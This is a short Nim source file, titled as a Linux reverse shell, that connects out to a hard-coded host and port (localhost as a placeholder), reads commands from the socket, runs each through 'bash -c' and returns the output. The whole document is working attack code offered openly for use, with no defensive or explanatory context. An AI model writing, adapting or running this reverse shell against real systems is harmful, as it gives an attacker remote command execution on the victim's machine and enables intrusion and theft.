Reverse shell Linux Nim

rvshell.nim

import osproc, net

#Author: m4ll3k

var 
  sock = newSocket()

proc run(TARGET: string, RPORT: int): void =
  try:
    sock.connect(TARGET, PORT(RPORT))
    while true:
      let cmd = sock.recvLine()
      if cmd == "exit":
        break
      let result = execProcess("bash -c " & cmd)
      sock.send(result)
  except:
    raise
  finally:
    sock.close

when isMainModule:
  try:
    let RPORT = 5678
    let TARGET = "127.0.0.1"
    run(TARGET, RPORT)
  except:
    raise